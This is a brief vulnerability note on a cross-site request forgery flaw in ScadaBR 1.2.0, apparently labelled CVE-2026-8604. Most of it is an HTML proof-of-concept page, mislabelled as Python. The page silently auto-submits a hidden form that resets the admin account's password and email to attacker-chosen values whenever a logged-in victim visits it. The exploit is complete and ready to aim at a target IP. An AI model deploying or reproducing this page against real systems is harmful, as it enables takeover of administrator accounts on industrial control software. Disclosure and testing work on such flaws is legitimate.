In ScadaBR version 1.2.0, a CSRF vulnerability could allow an attacker to trigger any authenticated action through a victim's session by luring any logged-in user to a malicious webpage.
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-8604 -->
<!-- This HTML page demonstrates the CSRF vulnerability in ScadaBR 1.2.0 -->
<!-- It attempts to perform a malicious action (e.g., changing admin settings) when visited by an authenticated user. -->
<html>
<body>
<script>history.pushState('', '', '/')</script>
<!-- Form targeting a hypothetical vulnerable ScadaBR endpoint -->
<form action="http://<target-ip>/scadabr/edit_user_save.htm" method="POST">
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="password" value="attacker123" />
<input type="hidden" name="email" value="[email protected]" />
<input type="submit" value="Submit request" />
</form>
<script>
// Auto-submit the form to trigger the action without user interaction
document.forms[0].submit();
</script>
</body>
</html>